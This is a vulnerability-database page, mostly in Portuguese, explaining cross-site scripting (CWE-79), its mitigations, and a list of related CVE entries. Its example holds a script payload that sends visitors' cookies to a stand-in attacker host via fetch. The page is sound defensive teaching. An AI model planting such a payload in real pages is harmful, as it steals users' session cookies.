Fallos del tipo CWE-79

30.303 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-64544MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2026-74793MEDIUMjusthtml before 3.11.0 XSS via selectedcontent projectionEPSS 0.3%CVE-2025-24534HIGHWordPress DPortfolio plugin <= 2.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-52754HIGHWordPress Sello ChannelConnector plugin <= 1.6.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-66492HIGHMasa CMS vulnerable to Cross-Site Scripting (XSS) through URL ParameterEPSS 0.3%CVE-2025-58921HIGHWordPress WP Tactical Popup plugin <= 1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-64580MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-64611MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-59571HIGHWordPress WorkScout-Core plugin < 1.7.06 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-96578HIGHGSpeech TTS <= 3.22.0 - Unauthenticated Stored Cross-Site Scripting via Comment ContentEPSS 0.3%CVE-2025-64590MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-64575MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-52770HIGHWordPress Hello Followers plugin <= 2.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-45707MEDIUMHCL Connections Docs is vulnerable to Cross-Site Scripting (XSS)EPSS 0.3%CVE-2025-58971HIGHWordPress Doctreat theme <= 1.6.7 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-12076MEDIUMSocial Media Auto Publish <= 3.6.5 - Reflected Cross-Site Scripting via PostMessageEPSS 0.3%CVE-2025-62020HIGHWordPress VOD Infomaniak plugin <= 1.5.11 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-66554LOWNextcloud Contacts vulnerable to Stored XSS in contacts app via organisation and title fieldEPSS 0.3%CVE-2025-23853HIGHWordPress NoFollow Free plugin <= 1.6.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-64797MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%